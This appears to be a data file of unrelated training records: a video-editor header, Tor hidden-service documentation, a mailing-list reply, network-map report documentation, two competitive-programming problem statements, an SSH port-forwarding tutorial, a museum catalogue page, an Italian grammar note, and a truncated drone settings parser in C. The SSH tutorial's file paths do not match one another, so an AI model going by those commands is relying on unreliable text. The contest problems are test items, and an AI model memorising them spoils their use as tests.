{"text": "//\n//  FXMainCompositionBuilder.h\n//  FXVideoEdit\n//\n//  Created by xunni zou on 2020/7/28.\n//  Copyright © 2020 xunni zou. All rights reserved.\n//\n\n#import <Foundation/Foundation.h>\n\n@class FXTimelineDescribe;\n@class FXMainComposition;\n\n@interface FXMainCompositionBuilder : NSObject\n\n- (id)initWithTimeline:(FXTimelineDescribe *)timelineDescribe;\n\n- (FXMainComposition *)buildComposition;\n\n- (FXMainComposition *)buildCompositionForExport;\n\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 126, "token_count_with_eod": 127, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Running the BitBoxBase means connecting to other Bitcoin and Lightning Network peers. If done over the regular internet protocol (IPv4), your IP address is visible to all your communication partners. As IP addresses can be located geographically, this means revealing your physical location, from the general area down to individual city blocks (the granularity depends on how your internet service provider manages IP addresses). You can easily locate yourself using services like https://iplocation.io or http://www.infosniper.net.\nRevealing your location with the information that you are using Bitcoin is not a good idea. This is why the BitBoxBase uses The Onion Router (Tor) to communicate to other Bitcoin peers privately and without revealing your real IP address.\nBy creating “hidden services”, Tor can also be used to securely access your BitBoxBase from outside your local network without having to configure any networking devices, such as port-forwarding on your router.\nPlease not that only Bitcoin-related communication is routed over Tor.\nTor is installed using signed Debian packages from the official repository at\nThe Tor configuration is application-specific:\n- Bitcoin Core\nbitcoindis not configured to listen to other Tor nodes.\n- To connect to other Bitcoin nodes, all communication is routed over the Tor SOCKS proxy. This configuration is set in\n/etc/bitcoin/bitcoin.confwith the option\nproxy=127.0.0.1:9050. Peers will see a regular IP address, but one that belongs to the Tor network and not your own.\nlightningdis configured to use the Tor SOCKS proxy, as specified in\n- It can be reached from the outside using Tor hidden services, that are specified in\nHiddenServiceDir /var/lib/tor/hidden_service_lightningd/ HiddenServiceVersion 3 HiddenServicePort 9375 127.0.0.1:9735\n- Electrs does not include advanced networking features and relies on other applications for these, e.g. on NGINX to provide SSL encryption, or a correctly configured Tor hidden service.\n- Access to\nelectrsis configured in\nHiddenServiceDir /var/lib/tor/hidden_service_electrs/ HiddenServiceVersion 3 HiddenServicePort 50002 127.0.0.1:50002\n- Middleware The Base Middleware API is also accessible as a Tor hidden service, configured in\nHiddenServiceDir /var/lib/tor/hidden_service_bbbmiddleware/ HiddenServiceVersion 3 HiddenServicePort 9375 127.0.0.1:8845\n- SSH If enabled (off by default), SSH login is also available using a Tor hidden service, configured in\nHiddenServiceDir /var/lib/tor/hidden_service_ssh/ HiddenServiceVersion 3 HiddenServicePort 22 127.0.0.1:22\nEach hidden service is represented as a directory in\n/var/lib/tor/ that contains files storing public and secret keys as well as a dedicated hostname (ending in\nThe individual hostnames are stored in the file\nhostname and can also be queried from Redis:\ntor:lightningd:onion tor:electrs:onion tor:bbbmiddleware:onion tor:ssh:onion\nTor is started and managed by systemd, but no manual configuration of the unit is required, as the standard configuration activated at package installation is used.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 719, "token_count_with_eod": 720, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "[Mailman-Users] Client wants unique archiving method\ndragon at crimson-dragon.com\nWed Aug 23 22:02:07 CEST 2006\nAndrew Jones sent the message below at 11:23 8/23/2006:\n>I just moved a client to Dreamhost from another provider where they\n>also had a Mailman discussion list.\n>Everything is working at Dreamhost, but they have a strange request.\n>They want all original posts to go to all subscribers as normal. BUT,\n>they want all replies to ONLY go to the original poster. But they\n>also want those replies to be archived so the entire list can choose\n>to view them or not.\n>I've looked through all of the Mailman config options and cannot find\n>a way to achieve what they want, even though they swear this is the\n>way it worked with their old host.\n>Is this possible, or are they on crack?\n---------------- End original message. ---------------------\nThey are on crack. And you really don't want to get into this can of\nworms. I'm not saying it couldn't be done, but it is not something\nthat would be easy nor reliable. See below for the full explanation.\nIn the standard mailman distribution, you can set up a list so that\nreplies go to the list (called \"Reply-To munging\" and\ndespised/deprecated by some) or to the poster. If you set it up in\nthe latter fashion, the e-mail in reply will never hit the mailman\nserver and you have no way of archiving it. If you set it up for\nreply to list, everything will go to the list and get archived.\nThe only possible way to even come close to what they want is to\nmodify the mailman code. It would be difficult to do and would be\nfraught with potential problems. Each incoming e-mail would have to\nbe examined for a number of things to determine if it was a reply or\nnot and who it should go to. This means that the In-Reply-To: header\nmust be examined to see if there is a matching message ID in the\narchive. Depending on list size and traffic, the archive size and the\nserver's processing load, that could be a long and slow process.\nIf you found a matching message, you would then have to determine who\nthe reply should go to. That task is non-trivial and you would have\nto make a number of assumptions that may or may not be valid. If\nthere is only one matching e-mail, you could extract the From: header\nfrom the original post, but if you have the list configured to hide\nthe identity of list members (you have anonymous_list set to Yes),\nyou cannot do that.\nBut what do you do if you have multiple messages in a long thread? Do\nyou just send the reply to the most immediate poster or to everyone\nin the chain? Is your assumption on what to do always appropriate, I\nwould say that it probably won't be.\nWhat happens if somebody replies to a thread by creating a new post\nthat does not have the In-Reply-To: header? What about when somebody\ngoes off on a tangent and uses Reply-To in their MUA to post a new\nmessage to the list? (People do these sorts of thing sometimes, there\nis no way you can reliably account for them).\nSo you can see why I say they are on crack. Tell them to step back\nand take a deep breath of reality.\nVenimus, Saltavimus, Bibimus (et naribus canium capti sumus)\nMore information about the Mailman-Users", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 793, "token_count_with_eod": 794, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Generate map reports to view and compare saved map results. You can create map reports to:\n- Identify hosts that have been added or removed from the network\n- Detect devices that have been placed on your network without your authorization\n- Filter data from your saved map results\n- Restrict the range of IPs included in the map report\nGo to VM/VMDR > Reports > Templates. Identify the map template you want to run and select Run from the Quick Actions menu. You'll be prompted to select the domain you want to report on, plus one or two saved maps to gather data from. When 2 map results are selected we'll compare them to identify systems that have been added or removed from your network.\nYou have the option to include related host information in your report (edit display settings in the map report template). If included, you can click the black arrow next to any host to see this information.\nDiscovery Method and Port - A list of open services on the host. For each service detected, the discovery method used to identify the service is listed along with the port that the service was running on (if available).\nAsset Groups - A list of asset groups containing the host.\nAuthentication - Identifies whether the host is included in one or more authentication records.\nYou'll learn more about each host in the report by looking at these columns:\nApproved (A) - Identifies whether the host is included in the approved hosts list for the domain. An \"A\" appears in this column if the host is in the approved hosts list. This column is blank if the host is not in the approved hosts list. Configure approved hosts for your domains from the domains list (Assets > Domains).\nScannable (S) - Identifies whether the host is in your account and therefore scannable. An \"S\" appears in this column if the host is in your account. This column is blank if the host is not in your account.\nLive (L) - Identifies whether the host was \"alive\" at the time of the discovery. An \"L\" appears in this column if the host was alive at the time of discovery. This column is blank if the host was not alive at the time of discovery.\nNetblock (N) - Identifies whether the host is included in the netblock for the domain. An \"N\" appears in this column if the host is in the domain's netblock. This column is blank if the host is not in the domain's netblock.\n(Only applicable when two maps are included in the report.) Identifies the current status of the host as compared to the first map. \"Active\" indicates the host was detected in both map results. \"Removed\" indicates the host was detected in Map 1 (the older map), but was not detected in Map 2 (the more recent map). The host may be inactive and not responding. \"Added\" indicates the host was not detected in Map 1 but was detected in Map 2.\nThere are several workflow actions you can perform on one or more hosts directly from your map report. Select the check box next to each host to include in the action, and select an action from the drop-down menu. Then click Apply.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Goa'uld Apophis captured Jack O'Neill's team again! Jack himself was able to escape, but by that time Apophis's ship had already jumped to hyperspace. But Jack knows on what planet will Apophis land. In order to save his friends, Jack must repeatedly go through stargates to get to this planet.\n\nOverall the galaxy has n planets, indexed with numbers from 1 to n. Jack is on the planet with index 1, and Apophis will land on the planet with index n. Jack can move between some pairs of planets through stargates (he can move in both directions); the transfer takes a positive, and, perhaps, for different pairs of planets unequal number of seconds. Jack begins his journey at time 0.\n\nIt can be that other travellers are arriving to the planet where Jack is currently located. In this case, Jack has to wait for exactly 1 second before he can use the stargate. That is, if at time t another traveller arrives to the planet, Jack can only pass through the stargate at time t + 1, unless there are more travellers arriving at time t + 1 to the same planet.\n\nKnowing the information about travel times between the planets, and the times when Jack would not be able to use the stargate on particular planets, determine the minimum time in which he can get to the planet with index n.", "source": "cpt_codeforces", "language": "en", "token_count": 293, "token_count_with_eod": 294, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Roma found a new character in the game \"World of Darkraft - 2\". In this game the character fights monsters, finds the more and more advanced stuff that lets him fight stronger monsters.\n\nThe character can equip himself with k distinct types of items. Power of each item depends on its level (positive integer number). Initially the character has one 1-level item of each of the k types.\n\nAfter the victory over the monster the character finds exactly one new randomly generated item. The generation process looks as follows. Firstly the type of the item is defined; each of the k types has the same probability. Then the level of the new item is defined. Let's assume that the level of player's item of the chosen type is equal to t at the moment. Level of the new item will be chosen uniformly among integers from segment [1; t + 1].\n\nFrom the new item and the current player's item of the same type Roma chooses the best one (i.e. the one with greater level) and equips it (if both of them has the same level Roma choses any). The remaining item is sold for coins. Roma sells an item of level x of any type for x coins.\n\nHelp Roma determine the expected number of earned coins after the victory over n monsters.", "source": "cpt_codeforces", "language": "en", "token_count": 263, "token_count_with_eod": 264, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Create custum sshd config file\ncp /etc/ssh/sshd_config /etc/sshsshd_config_custom\nChanged options in sshd_config_custom file\nWith this configuration file, only theusername could connect ssh deamon on port 4321.\nRun sshd deamon\n/usr/lib/ssh/sshd -f /data01/tcell/sshd_config_config\nChange shell to /usr/bin/false in passwd file\nIf you do not have false shell create read only shell.\nadd two lines below\nbash -r -c read\nchmod a+x /usr/bin/dummyshell\nFrom remote computer:\nSo user had to use -N option for ssh command\nDoes not execute a remote command. This is useful if you\njust want to forward ports (protocol version 2 only).\nFor port forwarding from another system\nssh -N theusername@ipadressoftheserver -L 9999:127.0.0.1:9999 -p 4321\n-p for changed ssh port in sshd_config_custom\nNow user could not give any command on the server but could port forward 9999 from the server to computer.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 254, "token_count_with_eod": 255, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Dates are not always precisely known, but the Art Institute strives to present this information as consistently and legibly as possible. Dates may be represented as a range that spans decades, centuries, dynasties, or periods and may include qualifiers such as c. (circa) or BCE.\nThe International Image Interoperability Framework (IIIF) represents a set of open standards that enables rich access to digital media from libraries, archives, museums, and other cultural institutions around the world.\nAntiquarian Society of the Art Institute of Chicago, American and European Decorative Arts: A Pictorial Review of Notable Objects in its Collections and Notes on the Society’s Aims and History (Chicago, 1951), no. 60 (ill.).\nAugusta S. Tavender, “Mediaeval English Alabasters in American Museums,” Speculum 30, 1 (1955), pp. 64-71, here 70, no. 57.\nDorothy Gillerman, ed., Gothic Sculpture in America, vol. 2: The Museums of the Midwest (Turnhout, Belgium, 2001), pp. 3-4, no. 2, ill.\nFrancis Cheetham, Alabaster Images of Medieval England (Rochester, N.Y., 2003), p. 104, no. 6.\nChicago, The Art Institute of Chicago, The First One Hundred Years, April 29 - June 19, 1977, cat. 321.\nObject information is a work in progress and may be updated as new research findings emerge. To help improve this record, please email . Information about image downloads and licensing is available here.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "It depends on the verb's ending how you form the imperatives but there are always two* options: an informal (\"tu\") and a formal (\"Lei\"). In most cases it is safe to stick to the indicative forms, like in \"veni qui\" vs. \"venga qui\", with the formal version of course being third person.\nHowever, for verbs ending in -are, this is somehow reverted. Thus, \"scusi\" is the formal and \"scusa\" the informal imperative of \"scusare\" and you use the third person for second and vice versa.\n(* Plus the \"let us\" type of first person plural imperative which is easily formed by using the corresponding indicative form.)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 143, "token_count_with_eod": 144, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/**\n* @file settings.c\n*\n* contains all the functions for io to the settings file, including default\n* values that can be written to disk if no file is present.\n **/\n\n#include <stdio.h>\n#include <string.h>\t// FOR str_cmp()\n#include <fcntl.h>\t// for F_OK\n#include <unistd.h>\t// for access()\n\n#include <json-c/json.h>\n#include <rc/math/filter.h>\n\n#include <settings.h>\n#include <rc_pilot_defs.h>\n\n\n// json object respresentation of the whole settings file\nstatic json_object* jobj;\n\n// primary settings struct declared as extern in header is defined ONCE here\nsettings_t settings;\n\n// if anything goes wrong set this flag back to 0\nstatic int was_load_successful = 0;\n\n////////////////////////////////////////////////////////////////////////////////\n/// MACROS FOR PARSING JSON TYPES\n////////////////////////////////////////////////////////////////////////////////\n\n// macro for reading a boolean\n#define PARSE_BOOL(name) \\\nif(json_object_object_get_ex(jobj, #name, &tmp)==0){\\\n\tfprintf(stderr,\"ERROR parsing settings file, can't find \" #name \"\\n\");\\\n\treturn -1;\\\n}\\\nif(json_object_is_type(tmp, json_type_boolean)==0){\\\n\tfprintf(stderr,\"ERROR parsing settings file, \" #name \" should be a boolean\\n\");\\\n\treturn -1;\\\n}\\\nsettings.name = json_object_get_boolean(tmp);\\\n\n\n// macro for reading an integer\n#define PARSE_INT(name) \\\nif(json_object_object_get_ex(jobj, #name, &tmp)==0){ \\\n\tfprintf(stderr,\"ERROR parsing settings file, can't find \" #name \"\\n\");\\\n\treturn -1;\\\n}\\\nif(json_object_is_type(tmp, json_type_int)==0){\\\n\tfprintf(stderr,\"ERROR parsing settings file, \" #name \" should be an int\\n\");\\\n\treturn -1;\\\n}\\\nsettings.name = json_object_get_int(tmp);\\\n\n\n// macro for reading a bound integer\n#define PARSE_INT_MIN_MAX(name,min,max) \\\nif(json_object_object_get_ex(jobj, #name, &tmp)==0){ \\\n\tfprintf(stderr,\"ERROR parsing settings file, can't find \" #name \"\\n\");\\\n\treturn -1;\\\n}\\\nif(json_object_is_type(tmp, json_type_int)==0){\\\n\tfprintf(stderr,\"ERROR parsing settings file, \" #name \" should be an int\\n\");\\\n\treturn -1;\\\n}\\\nsettings.name = json_object_get_int(tmp);\\\nif(settings.name<min || settings.name>max){\\\n\tfprintf(stderr,\"ERROR parsing settings file, \" #name \" should be between min and max\\n\");\\\n\treturn -1;\\\n}\\\n\n\n// macro for reading a polarity which should be +-1\n#define PARSE_POLARITY(name) \\\nif(json_object_object_get_ex(jobj, #name, &tmp)==0){ \\\n\tfprintf(stderr,\"ERROR parsing settings file, can't find \" #name \"\\n\");\\\n\treturn -1;\\\n}\\\nif(json_object_is_type(tmp, json_type_int)==0){\\\n\tfprintf(stderr,\"ERROR parsing settings file, \" #name \" should be an int\\n\");\\\n\treturn -1;\\\n}\\\nsettings.name = json_object_get_int(tmp);\\\nif(settings.name!=-1 && settings.name!=1){\\\n\tfprintf(stderr,\"ERROR parsing settings file, \" #name \" should be -1 or 1\\n\");\\\n\treturn -1;\\\n}\\\n\n\n// macro for reading a floating point number\n#define PARSE_DOUBLE_MIN_MAX(name,min,max)\\\nif(json_object_object_get_ex(jobj, #name, &tmp)==0){\\\n\tfprintf(stderr,\"ERROR can't find \" #name \" in settings file\\n\");\\\n\treturn -1;\\\n}\\\nif(json_object_is_type(tmp, json_type_double)==0){\\\n\tfprintf(stderr,\"ERROR \" #name \" should be a double\\n\");\\\n\treturn -1;\\\n}\\\nsettings.name = json_object_get_double(tmp);\\\nif(settings.name<min || settings.name>max){\\\n\tfprintf(stderr,\"ERROR \" #name \" should be between min and max\\n\");\\\n\treturn -1;\\\n}\\\n\n\n// macro for reading a string\n#define PARSE_STRING(name) \\\nif(json_object_object_get_ex(jobj, #name, &tmp)==0){ \\\n\tfprintf(stderr,\"ERROR parsing settings file, can't find \" #name \"\\n\");\\\n\treturn -1;\\\n}\\\nif(json_object_is_type(tmp, json_type_string)==0){\\\n\tfprintf(stderr,\"ERROR parsing settings file, \" #name \" should be a string\\n\");\\\n\treturn -1;\\\n}\\\nstrcpy(settings.name, json_object_get_string(tmp));\n\n// macro for reading feedback controller\n#define PARSE_CONTROLLER(name) \\\nif(json_object_object_get_ex(jobj, #name, &tmp)==0){\\\n\tfprintf(stderr,\"ERROR: can't find \" #name \" in settings file\\n\");\\\n\treturn -1;\\\n}\\\nif(__parse_controller(tmp, &settings.name)){\\\n\tfprintf(stderr,\"ERROR: could not parse \" #name \"\\n\");\\\n\treturn -1;\\\n}\\\n\n\n////////////////////////////////////////////////////////////////////////////////\n/// functions for parsing enums\n////////////////////////////////////////////////////////////////////////////////\n\n/**\n * @brief      pulls rotor layout out of json object into settings struct\n *\n * @return     0 on success, -1 on failure\n */\nstatic int __parse_layout(void)\n{\n\tstruct json_object *tmp = NULL;\n\tchar* tmp_str = NULL;\n\tif(json_object_object_get_ex(jobj, \"layout\", &tmp)==0){\n\t\tfprintf(stderr,\"ERROR: can't find layout in settings file\\n\");\n\t\treturn -1;\n\t}\n\tif(json_object_is_type(tmp, json_type_string)==0){\n\t\tfprintf(stderr,\"ERROR: layout should be a string\\n\");\n\t\treturn -1;\n\t}\n\ttmp_str = (char*)json_object_get_string(tmp);\n\tif(strcmp(tmp_str, \"LAYOUT_6DOF_ROTORBITS\")==0){\n\t\tsettings.num_rotors = 6;\n\t\tsettings.layout = LAYOUT_6DOF_ROTORBITS;\n\t}\n\telse if(strcmp(tmp_str, \"LAYOUT_4X\")==0){\n\t\tsettings.num_rotors = 4;\n\t\tsettings.layout = LAYOUT_4X;\n\t}\n\telse if(strcmp(tmp_str, \"LAYOUT_4PLUS\")==0){\n\t\tsettings.num_rotors = 4;\n\t\tsettings.layout = LAYOUT_4PLUS;\n\t}\n\telse if(strcmp(tmp_str, \"LAYOUT_6X\")==0){\n\t\tsettings.num_rotors = 6;\n\t\tsettings.layout = LAYOUT_6X;\n\t}\n\telse if(strcmp(tmp_str, \"LAYOUT_8X\")==0){\n\t\tsettings.num_rotors = 8;\n\t\tsettings.layout = LAYOUT_8X;\n\t}\n\telse{\n\t\tfprintf(stderr,\"ERROR: invalid layout string\\n\");\n\t\treturn -1;\n\t}\n\treturn 0;\n}\n\n\nstatic int __parse_thrust_map(void)\n{\n\tstruct json_object *tmp = NULL;\n\tchar* tmp_str = NULL;\n\tif(json_object_object_get_ex(jobj, \"thrust_map\", &tmp)==0){\n\t\tfprintf(stderr,\"ERROR: can't find thrust_map in settings file\\n\");\n\t\treturn -1;\n\t}\n\tif(json_object_is_type(tmp, json_type_string)==0){\n\t\tfprintf(stderr,\"ERROR: thrust map should be a string\\n\");\n\t\treturn -1;\n\t}\n\ttmp_str = (char*)json_object_get_string(tmp);\n\tif(strcmp(tmp_str, \"LINEAR_MAP\")==0){\n\t\tsettings.thrust_map = LINEAR_MAP;\n\t}\n\telse if(strcmp(tmp_str, \"MN1806_1400KV_4S\")==0){\n\t\tsettings.thrust_map = MN1806_1400KV_4S;\n\t}\n\telse if(strcmp(tmp_str, \"TEAM2_PROP\")==0){\n\t\tsettings.thrust_map = TEAM2_PROP;\n\t}\n\telse if(strcmp(tmp_str, \"F20_2300KV_2S\")==0){\n\t\tsettings.thrust_map = F20_2300KV_2S;\n\t}\n\telse if(strcmp(tmp_str, \"RX2206_4S\")==0){\n\t\tsettings.thrust_map = RX2206_4S;\n\t}\n\telse{\n\t\tfprintf(stderr,\"ERROR: invalid thrust_map string\\n\");\n\t\treturn -1;\n\t}\n\treturn 0;\n}\n\n\n/**\n * @brief      parses a json_object and fills in the flight mode.\n *\n * @param      jobj  The jobj to parse\n * @param      mode  pointer to write mode out to\n *\n * @return     returns 0 on success or -1 on failure\n */\nstatic int __parse_flight_mode(json_object* jobj_str, flight_mode_t* mode)\n{\n\tchar* tmp_str = NULL;\n\tstruct json_object *tmp = NULL;\n\tif(json_object_is_type(jobj_str, json_type_string)==0){\n\t\tfprintf(stderr,\"ERROR: flight_mode should be a string\\n\");\n\t\treturn -1;\n\t}\n\ttmp_str = (char*)json_object_get_string(jobj_str);\n\tif(strcmp(tmp_str, \"TEST_BENCH_4DOF\")==0){\n\t\t*mode = TEST_BENCH_4DOF;\n\t}\n\telse if(strcmp(tmp_str, \"TEST_BENCH_6DOF\")==0){\n\t\t*mode = TEST_BENCH_6DOF;\n\t}\n\telse if(strcmp(tmp_str, \"DIRECT_THROTTLE_4DOF\")==0){\n\t\t*mode = DIRECT_THROTTLE_4DOF;\n\t}\n\telse if(strcmp(tmp_str, \"DIRECT_THROTTLE_6DOF\")==0){\n\t\t*mode = DIRECT_THROTTLE_6DOF;\n\t}\n\telse if(strcmp(tmp_str, \"ALT_HOLD_4DOF\")==0){\n\t\t*mode = ALT_HOLD_4DOF;\n\t}\n\telse if(strcmp(tmp_str, \"ALT_HOLD_6DOF\")==0){\n\t\t*mode = ALT_HOLD_6DOF;\n\t}\n\telse if(strcmp(tmp_str, \"VELOCITY_CONTROL_4DOF\")==0){\n\t\t*mode = VELOCITY_CONTROL_4DOF;\n\t}\n\telse if(strcmp(tmp_str, \"VELOCITY_CONTROL_6DOF\")==0){\n\t\t*mode = VELOCITY_CONTROL_6DOF;\n\t}\n\telse if(strcmp(tmp_str, \"POSITION_CONTROL_4DOF\")==0){\n\t\t*mode = POSITION_CONTROL_4DOF;\n\t}\n\telse if(strcmp(tmp_str, \"POSITION_CONTROL_6DOF\")==0){\n\t\t*mode = POSITION_CONTROL_6DOF;\n\t}\n\t//B: define autonomous\n\telse if(strcmp(tmp_str, \"AUTONOMOUS\")==0){\n\t\t*mode = AUTONOMOUS;\n\t}\n\telse if(strcmp(tmp_str, \"SENSEDAUTONOMOUS\")==0){\n\t\t*mode = SENSEDAUTONOMOUS;\n\t}\n\telse{\n\t\tfprintf(stderr,\"ERROR: invalid flight mode\\n\");\n\t\treturn -1;\n\t}\n\treturn 0;\n}\n\n\n\nstatic int __parse_kill_mode(void)\n{\n\tstruct json_object *tmp = NULL;\n\tchar* tmp_str = NULL;\n\tif(json_object_object_get_ex(jobj, \"dsm_kill_mode\", &tmp)==0){\n\t\tfprintf(stderr,\"ERROR: can't find dsm_kill_mode in settings file\\n\");\n\t\treturn -1;\n\t}\n\tif(json_object_is_type(tmp, json_type_string)==0){\n\t\tfprintf(stderr,\"ERROR: dsm_kill_mode should be a string\\n\");\n\t\treturn -1;\n\t}\n\ttmp_str = (char*)json_object_get_string(tmp);\n\tif(strcmp(tmp_str, \"DSM_KILL_DEDICATED_SWITCH\")==0){\n\t\tsettings.dsm_kill_mode = DSM_KILL_DEDICATED_SWITCH;\n\t}\n\telse if(strcmp(tmp_str, \"DSM_KILL_NEGATIVE_THROTTLE\")==0){\n\t\tsettings.dsm_kill_mode = DSM_KILL_NEGATIVE_THROTTLE;\n\t}\n\telse{\n\t\tfprintf(stderr,\"ERROR: invalid dsm_kill_mode string\\n\");\n\t\treturn -1;\n\t}\n\treturn 0;\n}\n\n\n/**\n * @ brief     parses a json_object and sets up a new controller\n *\n * @param      jobj         The jobj to parse\n * @param      filter       pointer to write the new filter to\n *\n * @return     0 on success, -1 on failure\n */\nstatic int __parse_controller(json_object* jobj_ctl, rc_filter_t* filter)\n{\n\tstruct json_object *array = NULL;\t// to hold num & den arrays\n\tstruct json_object *tmp = NULL;\t\t// temp object\n\tchar* tmp_str = NULL;\n\tdouble tmp_flt, tmp_kp, tmp_ki, tmp_kd;\n\tint i, num_len, den_len;\n\trc_vector_t num_vec = rc_vector_empty(); //RC_VECTOR_INITIALIZER;\n\trc_vector_t den_vec = rc_vector_empty(); //RC_VECTOR_INITIALIZER;\n\n\t// destroy old memory in case the order changes\n\trc_filter_free(filter);\n\n\t// pull out gain\n\tif(json_object_object_get_ex(jobj_ctl, \"gain\", &tmp)==0){\n\t\tfprintf(stderr,\"ERROR: can't find controller gain in settings file\\n\");\n\t\treturn -1;\n\t}\n\tif(json_object_is_type(tmp, json_type_double)==0){\n\t\tfprintf(stderr,\"ERROR: controller gain should be a double\\n\");\n\t\treturn -1;\n\t}\n\ttmp_flt = json_object_get_double(tmp);\n\n\t// check if PID gains or transfer function coefficients\n\tif(json_object_object_get_ex(jobj_ctl, \"TF_or_PID\", &tmp)==0){\n\t\tfprintf(stderr,\"ERROR: can't find TF_or_PID in settings file\\n\");\n\t\treturn -1;\n\t}\n\tif(json_object_is_type(tmp, json_type_string)==0){\n\t\tfprintf(stderr,\"ERROR: TF_or_PID should be a string\\n\");\n\t\treturn -1;\n\t}\n\ttmp_str = (char*)json_object_get_string(tmp);\n\n\tif(strcmp(tmp_str, \"TF\")==0){\n\n\t\t// pull out numerator\n\t\tif(json_object_object_get_ex(jobj_ctl, \"numerator\", &array)==0){\n\t\t\tfprintf(stderr,\"ERROR: can't find controller numerator in settings file\\n\");\n\t\t\treturn -1;\n\t\t}\n\t\tif(json_object_is_type(array, json_type_array)==0){\n\t\t\tfprintf(stderr,\"ERROR: controller numerator should be an array\\n\");\n\t\t\treturn -1;\n\t\t}\n\t\tnum_len = json_object_array_length(array);\n\t\tif(num_len<1){\n\t\t\tfprintf(stderr,\"ERROR, numerator must have at least 1 entry\\n\");\n\t\t\treturn -1;\n\t\t}\n\t\trc_vector_alloc(&num_vec,num_len);\n\t\tfor(i=0;i<num_len;i++){\n\t\t\ttmp = json_object_array_get_idx(array,i);\n\t\t\tif(json_object_is_type(tmp, json_type_double)==0){\n\t\t\t\tfprintf(stderr,\"ERROR: numerator array entries should be a doubles\\n\");\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\ttmp_flt = json_object_get_double(tmp);\n\t\t\tnum_vec.d[i]=tmp_flt;\n\t\t}\n\n\n\t\t// pull out denominator\n\t\tif(json_object_object_get_ex(jobj_ctl, \"denominator\", &array)==0){\n\t\t\tfprintf(stderr,\"ERROR: can't find controller denominator in settings file\\n\");\n\t\t\treturn -1;\n\t\t}\n\t\tif(json_object_is_type(array, json_type_array)==0){\n\t\t\tfprintf(stderr,\"ERROR: controller denominator should be an array\\n\");\n\t\t\treturn -1;\n\t\t}\n\t\tden_len = json_object_array_length(array);\n\t\tif(den_len<1){\n\t\t\tfprintf(stderr,\"ERROR, denominator must have at least 1 entry\\n\");\n\t\t\treturn -1;\n\t\t}\n\t\trc_vector_alloc(&den_vec,den_len);\n\t\tfor(i=0;i<den_len;i++){\n\t\t\ttmp = json_object_array_get_idx(array,i);\n\t\t\tif(json_object_is_type(tmp, json_type_double)==0){\n\t\t\t\tfprintf(stderr,\"ERROR: denominator array entries should be a doubles\\n\");\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\ttmp_flt = json_object_get_double(tmp);\n\t\t\tden_vec.d[i]=tmp_flt;\n\t\t}\n\n\t\t// check for improper TF\n\t\tif(num_len>den_len){\n\t\t\tfprintf(stderr,\"ERROR: improper transfer function\\n\");\n\t\t\trc_vector_free(&num_vec);\n\t\t\trc_vector_free(&den_vec);\n\t\t\treturn -1;\n\t\t}\n\n\t\t// check CT continuous time or DT discrete time\n\t\tif(json_object_object_get_ex(jobj_ctl, \"CT_or_DT\", &tmp)==0){\n\t\t\tfprintf(stderr,\"ERROR: can't find CT_or_DT in settings file\\n\");\n\t\t\treturn -1;\n\t\t}\n\t\tif(json_object_is_type(tmp, json_type_string)==0){\n\t\t\tfprintf(stderr,\"ERROR: CT_or_DT should be a string\\n\");\n\t\t\treturn -1;\n\t\t}\n\t\ttmp_str = (char*)json_object_get_string(tmp);\n\n\n\t\t// if CT, use tustin's approx to get to DT\n\t\tif(strcmp(tmp_str, \"CT\")==0){\n\t\t\t// get the crossover frequency\n\t\t\tif(json_object_object_get_ex(jobj_ctl, \"crossover_freq_rad_per_sec\", &tmp)==0){\n\t\t\t\tfprintf(stderr,\"ERROR: can't find crossover frequency in settings file\\n\");\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\tif(json_object_is_type(tmp, json_type_double)==0){\n\t\t\t\tfprintf(stderr,\"ERROR: crossover frequency should be a double\\n\");\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\ttmp_flt = json_object_get_double(tmp);\n\t\t\tif(rc_filter_c2d_tustin(filter, DT, num_vec, den_vec, tmp_flt)){\n\t\t\t\tfprintf(stderr,\"ERROR: failed to c2dtustin while parsing json\\n\");\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t}\n\n\t\t// if DT, much easier, just construct filter\n\t\telse if(strcmp(tmp_str, \"DT\")==0){\n\t\t\tif(rc_filter_alloc(filter,num_vec, den_vec, DT)){\n\t\t\t\tfprintf(stderr,\"ERROR: failed to alloc filter in __parse_controller()\");\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t}\n\n\t\t// wrong value for CT_or_DT\n\t\telse{\n\t\t\tfprintf(stderr,\"ERROR: CT_or_DT must be 'CT' or 'DT'\\n\");\n\t\t\tprintf(\"instead got :%s\\n\", tmp_str);\n\t\t\treturn -1;\n\t\t}\n\t}\n\n\telse if(strcmp(tmp_str, \"PID\")==0){\n\t\t// pull out gains\n\t\tif(json_object_object_get_ex(jobj_ctl, \"kp\", &tmp)==0){\n\t\t\tfprintf(stderr,\"ERROR: can't find kp in settings file\\n\");\n\t\t\treturn -1;\n\t\t}\n\t\ttmp_kp = json_object_get_double(tmp);\n\t\tif(json_object_object_get_ex(jobj_ctl, \"ki\", &tmp)==0){\n\t\t\tfprintf(stderr,\"ERROR: can't find ki in settings file\\n\");\n\t\t\treturn -1;\n\t\t}\n\t\ttmp_ki = json_object_get_double(tmp);\n\t\tif(json_object_object_get_ex(jobj_ctl, \"kd\", &tmp)==0){\n\t\t\tfprintf(stderr,\"ERROR: can't find kd in settings file\\n\");\n\t\t\treturn -1;\n\t\t}\n\t\ttmp_kd = json_object_get_double(tmp);\n\t\t// get the crossover frequency\n\t\tif(json_object_object_get_ex(jobj_ctl, \"crossover_freq_rad_per_sec\", &tmp)==0){\n\t\t\tfprintf(stderr,\"ERROR: can't find crossover frequency in settings file\\n\");\n\t\t\treturn 